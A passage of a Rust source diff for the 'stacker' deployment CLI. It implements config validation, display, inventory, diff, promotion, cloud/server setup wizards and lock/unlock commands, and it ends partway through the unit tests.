prompt_with_default( + "Cloud provider (hetzner|digitalocean|aws|linode|vultr)", + &provider_default, + )?; + let provider = parse_cloud_provider(&provider_input)?; + + let region_default = config + .deploy + .cloud + .as_ref() + .and_then(|c| c.region.clone()) + .unwrap_or_else(|| "nbg1".to_string()); + let region = prompt_with_default("Cloud region", ®ion_default)?; + + let size_default = config + .deploy + .cloud + .as_ref() + .and_then(|c| c.size.clone()) + .unwrap_or_else(|| default_size_for_provider(provider).to_string()); + let size = prompt_with_default("Cloud size", &size_default)?; + + let ssh_key = config.deploy.cloud.as_ref().and_then(|c| c.ssh_key.clone()); + + let orchestrator = config + .deploy + .cloud + .as_ref() + .map(|c| c.orchestrator) + .unwrap_or(CloudOrchestrator::Remote); + + let install_image = config + .deploy + .cloud + .as_ref() + .and_then(|c| c.install_image.clone()); + + let remote_payload_file = config + .deploy + .cloud + .as_ref() + .and_then(|c| c.remote_payload_file.clone()); + + config.deploy.target = DeployTarget::Cloud; + config.deploy.cloud = Some(CloudConfig { + provider, + orchestrator, + region: if region.trim().is_empty() { + None + } else { + Some(region) + }, + size: if size.trim().is_empty() { + None + } else { + Some(size) + }, + install_image, + remote_payload_file, + ssh_key, + key: None, + server: None, + }); + + applied.push("Set deploy.target=cloud and deploy.cloud.*".to_string()); + } + "E002" => { + eprintln!("Detected missing server host settings (E002)."); + + let mut host = config + .deploy + .server + .as_ref() + .map(|s| s.host.clone()) + .unwrap_or_default(); + + while host.trim().is_empty() { + host = prompt_line("Server host (required, e.g. 203.0.113.10): ")?; + } + + let user_default = config + .deploy + .server + .as_ref() + .map(|s| s.user.clone()) + .unwrap_or_else(|| "root".to_string()); + let user = prompt_with_default("SSH user", &user_default)?; + + let port_default = config + .deploy + .server + .as_ref() + .map(|s| s.port.to_string()) + .unwrap_or_else(|| "22".to_string()); + let port_input = prompt_with_default("SSH port", &port_default)?; + let port = port_input.parse::().unwrap_or(22); + + let ssh_key = config + .deploy + .server + .as_ref() + .and_then(|s| s.ssh_key.clone()); + + config.deploy.target = DeployTarget::Server; + config.deploy.server = Some(ServerConfig { + host, + user, + ssh_key, + port, + }); + + applied.push("Set deploy.target=server and deploy.server.*".to_string()); + } + _ => {} + } + } + + if applied.is_empty() { + return Ok(applied); + } + + let backup_path = format!("{}.bak", config_path); + std::fs::copy(config_path, &backup_path)?; + + let yaml = serde_yaml::to_string(&config) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?; + std::fs::write(config_path, yaml)?; + + applied.push(format!("Backup written to {}", backup_path)); + Ok(applied) +} + +/// Core validate logic — loads config, runs semantic checks, returns issues. +pub fn run_validate(config_path: &str) -> Result, CliError> { + let path = Path::new(config_path); + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(config_path), + }); + } + + let mut messages = match load_raw_path_issues(path) { + Ok(issues) => { + let mut rendered = issues.iter().map(render_raw_path_issue).collect::>(); + if issues + .iter() + .any(|issue| matches!(issue.kind, RawPathIssueKind::Empty)) + { + rendered.push( + "Run `stacker config fix` to remove empty structural path fields safely." + .to_string(), + ); + } + rendered + } + Err(_) => Vec::new(), + }; + + let config = StackerConfig::from_file(path)?; + let issues = config.validate_semantics(); + messages.extend(issues.iter().map(|i| format!("{:?}", i))); + Ok(messages) +} + +/// Core show logic — loads config, serialises to YAML string. +pub fn run_show(config_path: &str) -> Result { + let path = Path::new(config_path); + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(config_path), + }); + } + + let config = StackerConfig::from_file(path)?; + let yaml = serde_yaml::to_string(&config) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?; + Ok(yaml) +} + +pub fn run_show_resolved(config_path: &str) -> Result { + let path = Path::new(config_path); + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(config_path), + }); + } + + let config = StackerConfig::from_file(path)?; + let config_dir = path.parent().unwrap_or_else(|| Path::new(".")); + let local_env_file = config + .resolve_environment_config(None)? + .and_then(|(_, environment_config)| environment_config.env_file) + .or_else(|| config.env_file.clone()) + .map(|env_file| resolve_display_path(config_dir, &env_file)) + .unwrap_or_else(|| "".to_string()); + let runtime_env_contract = runtime_env_contract_response(); + let layers = runtime_env_contract + .layers + .iter() + .map(|layer| { + format!( + " - name: {}\n precedence: {}\n applies_when: {}\n description: {}", + layer.name, layer.precedence, layer.applies_when, layer.description + ) + }) + .collect::>() + .join("\n"); + + Ok(format!( + "resolved_config:\n local_env_file: {}\n remote_runtime_env_file: {}\n compose_env_file: {}\n config_version: local\n config_hash: unavailable_until_deploy\n runtime_env_contract_version: {}\n runtime_env_contract_order: {}\n layers:\n{}\n", + local_env_file, + remote_runtime_env_path(), + compose_env_file_reference(), + runtime_env_contract.version, + runtime_env_contract.order, + layers + )) +} + +fn resolve_display_path(config_dir: &Path, env_file: &Path) -> String { + if env_file.is_absolute() { + env_file.display().to_string() + } else { + config_dir.join(env_file).display().to_string() + } +} + +/// `stacker config validate [--file stacker.yml]` +/// +/// Validates a stacker.yml configuration file. +pub struct ConfigValidateCommand { + pub file: Option, +} + +impl ConfigValidateCommand { + pub fn new(file: Option) -> Self { + Self { file } + } +} + +impl CallableTrait for ConfigValidateCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let issues = run_validate(&path)?; + + if issues.is_empty() { + eprintln!("✓ Configuration is valid"); + } else { + eprintln!("Configuration issues:"); + for issue in &issues { + eprintln!(" - {}", issue); + } + } + + Ok(()) + } +} + +/// `stacker config show [--file stacker.yml]` +/// +/// Displays the resolved configuration (with env vars substituted). +pub struct ConfigShowCommand { + pub file: Option, + pub resolved: bool, +} + +/// `stacker config inventory --env [--service ] [--json]` +/// +/// Displays a redacted, comparable configuration key inventory. +pub struct ConfigInventoryCommand { + pub file: Option, + pub environment: String, + pub service: Option, + pub json: bool, + pub show_values: bool, + pub remote: bool, + pub project: Option, +} + +/// `stacker config diff --from --to [--service ] [--json]` +/// +/// Compares redacted local configuration inventories across environments. +pub struct ConfigDiffCommand { + pub file: Option, + pub from: String, + pub to: String, + pub service: Option, + pub json: bool, + pub strict: bool, + pub remote: bool, + pub project: Option, +} + +/// `stacker config check --env [--service ] [--json] [--strict]` +/// +/// Checks an environment against optional `config_contract` requirements. +pub struct ConfigCheckCommand { + pub file: Option, + pub environment: String, + pub service: Option, + pub json: bool, + pub strict: bool, + pub remote: bool, + pub project: Option, +} + +/// `stacker config promote --from --to [--service ]` +/// +/// Generates safe target placeholders for keys missing from the target environment. +pub struct ConfigPromoteCommand { + pub file: Option, + pub from: String, + pub to: String, + pub service: Option, + pub keys: Vec, + pub json: bool, + pub remote: bool, + pub project: Option, +} + +/// `stacker config contract suggest --env [--service ]` +/// +/// Generates a reviewable `config_contract` YAML snippet from inventory. +pub struct ConfigContractSuggestCommand { + pub file: Option, + pub environment: String, + pub service: Option, +} + +/// `stacker config fix [--file stacker.yml] [--interactive]` +/// +/// Interactively repairs common missing required fields in stacker.yml. +pub struct ConfigFixCommand { + pub file: Option, + pub interactive: bool, +} + +/// `stacker config setup cloud [--file stacker.yml]` +/// +/// Interactive cloud setup wizard that writes deploy.target/deploy.cloud. +pub struct ConfigSetupCloudCommand { + pub file: Option, +} + +/// `stacker config setup ai [--file stacker.yml]` +/// +/// Guided AI setup wizard that writes ai.* without replacing unrelated config. +pub struct ConfigSetupAiCommand { + pub file: Option, + pub provider: Option, + pub endpoint: Option, + pub model: Option, + pub timeout: Option, + pub tasks: Vec, +} + +impl ConfigSetupAiCommand { + pub fn new( + file: Option, + provider: Option, + endpoint: Option, + model: Option, + timeout: Option, + tasks: Vec, + ) -> Self { + Self { + file, + provider, + endpoint, + model, + timeout, + tasks, + } + } +} + +impl CallableTrait for ConfigSetupAiCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let applied = run_setup_ai( + &path, + AiSetupOptions { + provider: self.provider.as_deref(), + endpoint: self.endpoint.as_deref(), + model: self.model.as_deref(), + timeout: self.timeout, + tasks: &self.tasks, + }, + )?; + + eprintln!("✓ Updated {}", path); + for item in applied { + eprintln!(" - {}", item); + } + eprintln!("Run: stacker config validate"); + Ok(()) + } +} + +impl ConfigSetupCloudCommand { + pub fn new(file: Option) -> Self { + Self { file } + } +} + +impl CallableTrait for ConfigSetupCloudCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let applied = run_setup_cloud_interactive(&path)?; + + eprintln!("✓ Updated {}", path); + for item in applied { + eprintln!(" - {}", item); + } + eprintln!("Run: stacker config validate"); + Ok(()) + } +} + +/// `stacker config setup remote-payload [--file stacker.yml] [--out stacker.remote.deploy.json]` +/// +/// Advanced/debug helper: generate a User Service `/install/init/` payload file and wire config for remote orchestrator. +pub struct ConfigSetupRemotePayloadCommand { + pub file: Option, + pub out: Option, +} + +impl ConfigSetupRemotePayloadCommand { + pub fn new(file: Option, out: Option) -> Self { + Self { file, out } + } +} + +impl CallableTrait for ConfigSetupRemotePayloadCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let applied = run_generate_remote_payload(&path, self.out.as_deref())?; + + eprintln!("✓ Updated {}", path); + for item in applied { + eprintln!(" - {}", item); + } + eprintln!("Run: stacker deploy --target cloud"); + eprintln!("Note: this command is mainly for troubleshooting and integrations."); + Ok(()) + } +} + +impl ConfigFixCommand { + pub fn new(file: Option, interactive: bool) -> Self { + Self { file, interactive } + } +} + +impl CallableTrait for ConfigFixCommand { + fn call(&self) -> Result<(), Box> { + if !self.interactive { + return Err(Box::new(CliError::ConfigValidation( + "Only interactive mode is supported for now. Use: stacker config fix --interactive" + .to_string(), + ))); + } + + let path = resolve_config_path(&self.file); + let applied = run_fix_interactive(&path)?; + + if applied.is_empty() { + eprintln!("No interactive fixes were applied."); + } else { + eprintln!("✓ Updated {}", path); + for item in applied { + eprintln!(" - {}", item); + } + eprintln!("Run: stacker config validate"); + } + + Ok(()) + } +} + +impl ConfigShowCommand { + pub fn new(file: Option, resolved: bool) -> Self { + Self { file, resolved } + } +} + +impl CallableTrait for ConfigShowCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let output = if self.resolved { + run_show_resolved(&path)? + } else { + run_show(&path)? + }; + println!("{}", output); + Ok(()) + } +} + +impl ConfigInventoryCommand { + pub fn new( + file: Option, + environment: String, + service: Option, + json: bool, + show_values: bool, + remote: bool, + project: Option, + ) -> Self { + Self { + file, + environment, + service, + json, + show_values, + remote, + project, + } + } +} + +impl CallableTrait for ConfigInventoryCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let mut inventory = load_inventory( + Path::new(&path), + &InventoryOptions { + environment: self.environment.clone(), + service: self.service.clone(), + show_values: self.show_values, + }, + )?; + if self.remote { + enrich_remote_service_secret_metadata( + Path::new(&path), + self.project.as_deref(), + &mut inventory, + )?; + } + + if self.json { + println!("{}", serde_json::to_string_pretty(&inventory)?); + return Ok(()); + } + + for warning in &inventory.warnings { + eprintln!("⚠ {warning}"); + } + print!("{}", format_inventory_table(&inventory)); + + Ok(()) + } +} + +fn format_inventory_table(inventory: &ConfigInventory) -> String { + let mut rows = vec![[ + "Target".to_string(), + "Key".to_string(), + "Source".to_string(), + "Present".to_string(), + "Secret".to_string(), + "Value".to_string(), + ]]; + + for target in &inventory.targets { + for key in &target.keys { + let value = if key.secret { + "[REDACTED]".to_string() + } else if key.present { + key.value_preview + .clone() + .unwrap_or_else(|| "[HIDDEN]".to_string()) + } else { + "[MISSING]".to_string() + }; + + rows.push([ + target.target_code.clone(), + key.key.clone(), + key.source.clone(), + key.present.to_string(), + key.secret.to_string(), + value, + ]); + } + } + + let mut widths = [0usize; 5]; + for row in &rows { + for index in 0..widths.len() { + widths[index] = widths[index].max(row[index].len()); + } + } + + let mut output = String::new(); + for row in rows { + output.push_str(&format!( + "{:, + from: String, + to: String, + service: Option, + json: bool, + strict: bool, + remote: bool, + project: Option, + ) -> Self { + Self { + file, + from, + to, + service, + json, + strict, + remote, + project, + } + } +} + +impl CallableTrait for ConfigDiffCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let diff = if self.remote { + let from_inventory = load_inventory( + Path::new(&path), + &InventoryOptions { + environment: self.from.clone(), + service: self.service.clone(), + show_values: false, + }, + )?; + let mut to_inventory = load_inventory( + Path::new(&path), + &InventoryOptions { + environment: self.to.clone(), + service: self.service.clone(), + show_values: false, + }, + )?; + enrich_remote_service_secret_metadata( + Path::new(&path), + self.project.as_deref(), + &mut to_inventory, + )?; + diff_inventories(from_inventory, to_inventory, self.service.clone()) + } else { + load_diff(Path::new(&path), &self.from, &self.to, self.service.clone())? + }; + + if self.json { + println!("{}", serde_json::to_string_pretty(&diff)?); + } else { + print_config_diff(&diff); + } + + if self.strict && diff.has_differences() { + return Err(Box::new(CliError::ConfigValidation(format!( + "configuration differs between {} and {}", + self.from, self.to + )))); + } + + Ok(()) + } +} + +impl ConfigCheckCommand { + pub fn new( + file: Option, + environment: String, + service: Option, + json: bool, + strict: bool, + remote: bool, + project: Option, + ) -> Self { + Self { + file, + environment, + service, + json, + strict, + remote, + project, + } + } +} + +impl CallableTrait for ConfigCheckCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let result = if self.remote { + let config = StackerConfig::from_file(Path::new(&path))?; + let mut inventory = load_inventory( + Path::new(&path), + &InventoryOptions { + environment: self.environment.clone(), + service: self.service.clone(), + show_values: false, + }, + )?; + enrich_remote_service_secret_metadata( + Path::new(&path), + self.project.as_deref(), + &mut inventory, + )?; + check_inventory(config, inventory, self.service.clone()) + } else { + load_check(Path::new(&path), &self.environment, self.service.clone())? + }; + + if self.json { + println!("{}", serde_json::to_string_pretty(&result)?); + } else { + print_config_check(&result); + } + + if self.strict && result.has_required_failures() { + return Err(Box::new(CliError::ConfigValidation(format!( + "required configuration missing for {}", + self.environment + )))); + } + + Ok(()) + } +} + +impl ConfigPromoteCommand { + pub fn new( + file: Option, + from: String, + to: String, + service: Option, + keys: Vec, + json: bool, + remote: bool, + project: Option, + ) -> Self { + Self { + file, + from, + to, + service, + keys, + json, + remote, + project, + } + } +} + +impl CallableTrait for ConfigPromoteCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let plan = if self.remote { + let from_inventory = load_inventory( + Path::new(&path), + &InventoryOptions { + environment: self.from.clone(), + service: self.service.clone(), + show_values: false, + }, + )?; + let mut to_inventory = load_inventory( + Path::new(&path), + &InventoryOptions { + environment: self.to.clone(), + service: self.service.clone(), + show_values: false, + }, + )?; + enrich_remote_service_secret_metadata( + Path::new(&path), + self.project.as_deref(), + &mut to_inventory, + )?; + let diff = diff_inventories(from_inventory, to_inventory, self.service.clone()); + promotion_plan_from_diff(diff, self.keys.clone()) + } else { + load_promotion_plan( + Path::new(&path), + &self.from, + &self.to, + self.service.clone(), + self.keys.clone(), + )? + }; + + if self.json { + println!("{}", serde_json::to_string_pretty(&plan)?); + } else { + print_promotion_plan(&plan); + } + + Ok(()) + } +} + +fn print_promotion_plan(plan: &ConfigPromotionPlan) { + for warning in &plan.warnings { + eprintln!("⚠ {warning}"); + } + + if plan.is_empty() { + println!( + "No missing keys to promote from {} to {}.", + plan.from_environment, plan.to_environment + ); + return; + } + + println!( + "Promotion placeholders from {} to {}:", + plan.from_environment, plan.to_environment + ); + let mut current_target = ""; + for item in &plan.items { + if current_target != item.target { + current_target = &item.target; + println!(); + println!("# {}", item.target); + } + let secret_marker = if item.secret { " # secret" } else { "" }; + println!("{}{}", item.placeholder, secret_marker); + } + println!(); + println!("Review these placeholders and fill target values manually; plaintext is not copied."); +} + +fn enrich_remote_service_secret_metadata( + config_path: &Path, + explicit_project: Option<&str>, + inventory: &mut ConfigInventory, +) -> Result<(), CliError> { + let project_ref = resolve_remote_project_reference(config_path, explicit_project)?; + let ctx = CliRuntime::new("config remote metadata")?; + let project = ctx + .block_on(ctx.client.find_project(&project_ref))? + .ok_or_else(|| { + CliError::ConfigValidation(format!("Project '{}' was not found", project_ref)) + })?; + let registered_apps = ctx.block_on(ctx.client.list_project_apps(project.id))?; + let target_codes = registered_remote_target_codes(inventory, ®istered_apps); + + for target_code in target_codes { + match ctx.block_on(ctx.client.list_service_secrets(project.id, &target_code)) { + Ok(secrets) => { + merge_remote_secret_names( + inventory, + &target_code, + secrets.into_iter().map(|secret| secret.name), + ); + } + Err(error) => inventory.warnings.push(remote_metadata_warning( + &target_code, + &error, + cli_debug_enabled(), + )), + } + } + + Ok(()) +} + +fn remote_metadata_warning(target_code: &str, error: &CliError, debug: bool) -> String { + if debug { + return format!("Remote secret metadata unavailable for {target_code}: {error}"); + } + + format!( + "Remote secret metadata unavailable for {target_code}; rerun with DEBUG=true for details." + ) +} + +fn registered_remote_target_codes( + inventory: &ConfigInventory, + registered_apps: &[ProjectAppInfo], +) -> Vec { + let registered_codes = registered_apps + .iter() + .map(|app| app.code.as_str()) + .collect::>(); + + inventory + .targets + .iter() + .filter_map(|target| { + registered_codes + .contains(target.target_code.as_str()) + .then(|| target.target_code.clone()) + }) + .collect() +} + +fn resolve_remote_project_reference( + config_path: &Path, + explicit_project: Option<&str>, +) -> Result { + if let Some(project) = explicit_project + .map(str::trim) + .filter(|project| !project.is_empty()) + { + return Ok(project.to_string()); + } + + let config = StackerConfig::from_file_raw(config_path)?; + config + .project + .identity + .map(|project| project.trim().to_string()) + .filter(|project| !project.is_empty()) + .ok_or_else(|| { + CliError::ConfigValidation( + "Remote config metadata requires --project, or set project.identity in stacker.yml." + .to_string(), + ) + }) +} + +impl ConfigContractSuggestCommand { + pub fn new(file: Option, environment: String, service: Option) -> Self { + Self { + file, + environment, + service, + } + } +} + +impl CallableTrait for ConfigContractSuggestCommand { + fn call(&self) -> Result<(), Box> { + let path = resolve_config_path(&self.file); + let output = suggest_contract_yaml( + Path::new(&path), + &ContractSuggestOptions { + environment: self.environment.clone(), + service: self.service.clone(), + }, + )?; + println!("{}", output.trim_end()); + Ok(()) + } +} + +fn print_config_check(result: &ConfigCheckResult) { + for warning in &result.warnings { + eprintln!("⚠ {warning}"); + } + + print_check_items("Missing required:", &result.missing_required); + print_check_items("Missing optional:", &result.missing_optional); + + if !result.has_required_failures() && result.missing_optional.is_empty() { + println!( + "Configuration contract satisfied for {}.", + result.environment + ); + } +} + +fn print_check_items(title: &str, items: &[ConfigCheckItem]) { + if items.is_empty() { + return; + } + + println!("{title}"); + for item in items { + let secret_marker = if item.secret { " [secret]" } else { "" }; + println!(" {}:{}{}", item.target, item.key, secret_marker); + } +} + +fn print_config_diff(diff: &ConfigDiff) { + for warning in &diff.warnings { + eprintln!("⚠ {warning}"); + } + + print_diff_items( + &format!("Missing in {}:", diff.to_environment), + &diff.missing_in_to, + ); + print_diff_items( + &format!("Only in {}:", diff.to_environment), + &diff.only_in_to, + ); + print_diff_items("Different values:", &diff.different); + + if !diff.has_differences() { + println!( + "No configuration differences found between {} and {}.", + diff.from_environment, diff.to_environment + ); + } +} + +fn print_diff_items(title: &str, items: &[DiffItem]) { + if items.is_empty() { + return; + } + + println!("{title}"); + for item in items { + let secret_marker = if item.secret { " [secret]" } else { "" }; + println!(" {}:{}{}", item.target, item.key, secret_marker); + } +} + +/// `stacker config example` +/// +/// Prints a full commented `stacker.yml` reference example. +pub struct ConfigExampleCommand; + +impl ConfigExampleCommand { + pub fn new() -> Self { + Self + } +} + +impl CallableTrait for ConfigExampleCommand { + fn call(&self) -> Result<(), Box> { + println!("{}", full_config_reference_example()); + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// `stacker config lock` / `stacker config unlock` +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker config lock [--file stacker.yml]` +/// +/// Reads `.stacker/deployment.lock` and writes the server details +/// (host, user, port, ssh_key) into stacker.yml's `deploy.server` section. +/// Next deploy will auto-detect the server and redeploy via SSH. +pub struct ConfigLockCommand { + pub file: Option, +} + +impl ConfigLockCommand { + pub fn new(file: Option) -> Self { + Self { file } + } +} + +impl CallableTrait for ConfigLockCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + let config_path_str = resolve_config_path(&self.file); + let config_path = project_dir.join(&config_path_str); + + // 1. Load lockfile (prefer cloud/server) + let lock = match DeploymentLock::load(&project_dir)? { + Some(l) => l, + None => { + eprintln!("No deployment lock found in .stacker/."); + eprintln!("Deploy first with `stacker deploy`, then run this command."); + return Ok(()); + } + }; + + // 2. Check it has usable server details + match lock.server_ip.as_deref() { + Some("127.0.0.1") | None => { + eprintln!("Deployment lock exists but has no remote server details."); + if lock.target == "cloud" { + eprintln!("The cloud deployment may still be provisioning."); + eprintln!( + "Wait for it to complete, then run `stacker deploy --lock` to retry." + ); + } + return Ok(()); + } + _ => {} + } + + // 3. Load stacker.yml, apply lock, write back + if !config_path.exists() { + return Err(Box::new(CliError::ConfigNotFound { path: config_path })); + } + + let mut config = StackerConfig::from_file_raw(&config_path)?; + lock.apply_to_config(&mut config); + + DeploymentLock::write_config(&config, &config_path)?; + + let ip = lock.server_ip.as_deref().unwrap_or("?"); + let user = lock.ssh_user.as_deref().unwrap_or("root"); + let port = lock.ssh_port.unwrap_or(22); + + eprintln!("✓ stacker.yml updated with server details:"); + eprintln!(" deploy.server.host: {}", ip); + eprintln!(" deploy.server.user: {}", user); + eprintln!(" deploy.server.port: {}", port); + eprintln!(" Backup: {}.bak", config_path_str); + eprintln!(); + eprintln!("Next `stacker deploy` will target this server directly."); + + Ok(()) + } +} + +/// `stacker config unlock [--file stacker.yml]` +/// +/// Removes the `deploy.server` section from stacker.yml, allowing a fresh +/// cloud provision on the next deploy. +pub struct ConfigUnlockCommand { + pub file: Option, +} + +impl ConfigUnlockCommand { + pub fn new(file: Option) -> Self { + Self { file } + } +} + +impl CallableTrait for ConfigUnlockCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + let config_path_str = resolve_config_path(&self.file); + let config_path = project_dir.join(&config_path_str); + + if !config_path.exists() { + return Err(Box::new(CliError::ConfigNotFound { path: config_path })); + } + + let mut config = StackerConfig::from_file_raw(&config_path)?; + + if config.deploy.server.is_none() { + eprintln!("No deploy.server section found in stacker.yml — nothing to unlock."); + return Ok(()); + } + + let old_host = config + .deploy + .server + .as_ref() + .map(|s| s.host.clone()) + .unwrap_or_default(); + + config.deploy.server = None; + + DeploymentLock::write_config(&config, &config_path)?; + + eprintln!("✓ Removed deploy.server section (was: host={})", old_host); + eprintln!(" Backup: {}.bak", config_path_str); + eprintln!(" Next `stacker deploy --target cloud` will provision a new server."); + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use std::io::Write; + + fn minimal_config_yaml() -> &'static str { + "name: test-app\nversion: \"1.0\"\nproject:\n identity: \"registered-stack-code\"\napp:\n type: static\n source: \"./dist\"\ndeploy:\n target: local\n" + } + + fn write_config(dir: &Path, content: &str) -> String { + let path = dir.join("stacker.yml"); + let mut f = std::fs::File::create(&path).unwrap(); + f.write_all(content.as_bytes()).unwrap(); + path.to_string_lossy().to_string() + } + + #[test] + fn test_validate_returns_ok_for_valid_config() { + let dir = tempfile::TempDir::new().unwrap(); + let path = write_config(dir.path(), minimal_config_yaml()); + let result = run_validate(&path).unwrap(); + // Minimal valid config should have zero or few issues + assert!(result.len() < 5); + } + + #[test] + fn test_validate_missing_file_returns_error() { + let result = run_validate("/nonexistent/stacker.yml"); + assert!(result.is_err()); + } + + #[test] + fn test_validate_reports_empty_path_fields() { + let dir = tempfile::TempDir::new().unwrap(); + let path = write_config( + dir.path(), + r#" +name: empty-paths +app: + type: static + path: +"#, + ); + + let issues = run_validate(&path).unwrap(); + assert!(issues.iter().any(|issue| issue.contains("app.path"))); + assert!(issues + .iter() + .any(|issue| issue.contains("quoted path string"))); + assert!(issues + .iter() + .any(|issue| issue.contains("stacker config fix"))); + } + + #[test] + fn test_show_returns_yaml_string() { + let dir = tempfile::TempDir::new().unwrap(); + let path = write_config(dir.path(), minimal_config_yaml()); + let yaml = run_show(&path).unwrap(); + assert!(yaml.contains("test-app")); + } + + #[test] + fn test_show_missing_file_returns_error() { + let result = run_show("/nonexistent/stacker.yml"); + assert!(result.is_err()); + } + + #[test] + fn test_resolve_config_path_default() { + let resolved = resolve_config_path(&None); + assert_eq!(resolved, "stacker.yml"); + } + + #[test] + fn test_resolve_config_path_override() { + let resolved = resolve_config_path(&Some("custom.yml".to_string())); + assert_eq!(resolved, "custom.yml"); + } + + #[test] + fn test_inventory_table_aligns_columns() { + let inventory = ConfigInventory { + environment: "local".to_string(), + warnings: Vec::new(), + targets: vec![crate::cli::config_inventory::TargetConfigInventory { + target_code: "coolify".to_string(), + keys: vec![ + crate::cli::config_inventory::ConfigKeyInventory { + key: "APP_ENV".to_string(), + source: "compose environment".to_string(), + present: true, + secret: false, + value_hash: None, + value_preview: Some("${APP_ENV:-production}".to_string()), + }, + crate::cli::config_inventory::ConfigKeyInventory { + key: "PHP_FPM_PM_MAX_SPARE_SERVERS".to_string(), + source: "compose environment".to_string(), + present: true, + secret: false, + value_hash: None, + value_preview: Some("${PHP_FPM_PM_MAX_SPARE_SERVERS:-10}".to_string()), + }, + crate::cli::config_inventory::ConfigKeyInventory { + key: "DB_PASSWORD".to_string(), + source: "compose env_file".to_string(), + present: true, + secret: true, + value_hash: None, + value_preview: None, + }, + ], + }], + }; + + let table = format_inventory_table(&inventory); + + assert!(table.starts_with("Target Key Source")); + assert!(table.contains("coolify APP_ENV compose environment")); + assert!(table.contains("coolify DB_PASSWORD compose env_file")); + assert!(table.contains("[REDACTED]")); + assert!(!table.contains('\t')); + } + + #[test] + fn test_registered_remote_target_codes_skip_local_only_services() { + let inventory = ConfigInventory { + environment: "production".to_string(), + warnings: Vec::new(), + targets: vec![ + crate::cli::config_inventory::TargetConfigInventory { + target_code: "coolify".to_string(), + keys: Vec::new(), + }, + crate::cli::config_inventory::TargetConfigInventory { + target_code: "postgres".to_string(), + keys: Vec::new(), + }, + crate::cli::config_inventory::TargetConfigInventory { + target_code: "redis".to_string(), + keys: Vec::new(), + }, + ], + }; + let registered_apps = vec![ProjectAppInfo { + id: 1, + project_id: 229, + code: "coolify".to_string(), + name: "Coolify".to_string(), + image: "coollabsio/coolify:latest".to_string(), + enabled: true, + deploy_order: None, + parent_app_code: None, + }]; + + let codes = registered_remote_target_codes(&inventory, ®istered_apps); + + assert_eq!(codes, vec!["coolify"]); + } + + #[test] + fn test_remote_metadata_warning_hides_api_details_without_debug() { + let error = CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: "Stacker server GET /project/229/apps/postgres/secrets failed (404): {\"message\":\"App not found\"}".to_string(), + }; + + let warning = remote_metadata_warning("postgres", &error, false); + + assert!(warning.contains("postgres")); + assert!(warning.contains("DEBUG=true")); + assert!(!warning.contains("GET /project")); + assert!(!warning.contains("App not found")); + } + + #[test] + fn test_remote_metadata_warning_shows_api_details_with_debug() { + let error = CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: "Stacker server GET /project/229/apps/postgres/secrets failed (404): {\"message\":\"App not found\"}".to_string(), + }; + + let warning = remote_metadata_warning("postgres", &error, true); + + assert!(warning.contains("GET /project/229/apps/postgres/secrets")); + assert!(warning.contains("App not found")); + } + + #[test] + fn test_parse_cloud_provider_valid() { + assert_eq!( + parse_cloud_provider("hetzner").unwrap(), + CloudProvider::Hetzner + ); + assert_eq!(parse_cloud_provider("AWS").unwrap(), CloudProvider::Aws); + } + + #[test] + fn test_parse_cloud_provider_invalid() { + let result = parse_cloud_provider("gcp"); + assert!(result.is_err()); + } + + #[test] + fn test_default_region_for_provider() { + assert_eq!(default_region_for_provider(CloudProvider::Hetzner), "nbg1"); + assert_eq!(default_region_for_provider(CloudProvider::Aws), "us-east-1"); + } + + #[test] + fn test_apply_cloud_settings_sets_target_and_cloud() { + let mut cfg = StackerConfig::from_str(minimal_config_yaml()).unwrap(); + apply_cloud_settings( + &mut cfg, + CloudProvider::Hetzner, + Some("nbg1".to_string()), + Some("cpx11".to_string()), + None, + ); + + assert_eq!(cfg.deploy.target, DeployTarget::Cloud); + let cloud = cfg.deploy.cloud.unwrap(); + assert_eq!(cloud.provider, CloudProvider::Hetzner); + assert_eq!(cloud.region.as_deref(), Some("nbg1")); + assert_eq!(cloud.size.as_deref(), Some("cpx11")); + } + + #[test] + fn test_resolve_remote_cloud_credentials_accepts_digitalocean_token() { + std::env::remove_var("STACKER_CLOUD_TOKEN"); + std::env::remove_var("STACKER_DIGITALOCEAN_TOKEN"); + std::env::set_var("DIGITALOCEAN_TOKEN", "do-token-value"); + + let creds = resolve_remote_cloud_credentials("do"); + + std::env::remove_var("DIGITALOCEAN_TOKEN"); + + assert_eq!( + creds.get("cloud_token").and_then(|v| v.as_str()), + Some("do-token-value") + ); + } + + #[test] + fn test_run_generate_remote_payload_writes_file_and_updates_config() { + let dir = tempfile::TempDir::new().unwrap(); + let config_path = write_config(dir.path(), minimal_config_yaml()); + + let applied = + run_generate_remote_payload(&config_path, Some("stacker.remote.deploy.json")).unwrap(); + assert!(!applied.is_empty()); + + let payload_path = dir.path().join("stacker.remote.deploy.json"); + assert!(payload_path.exists()); + + let payload_raw = std::fs::read_to_string(&payload_path).unwrap(); + let payload_json: serde_json::Value = serde_json::from_str(&payload_raw).unwrap(); + assert!(payload_json.get("provider").is_some()); + assert!(payload_json.get("commonDomain").is_some()); + 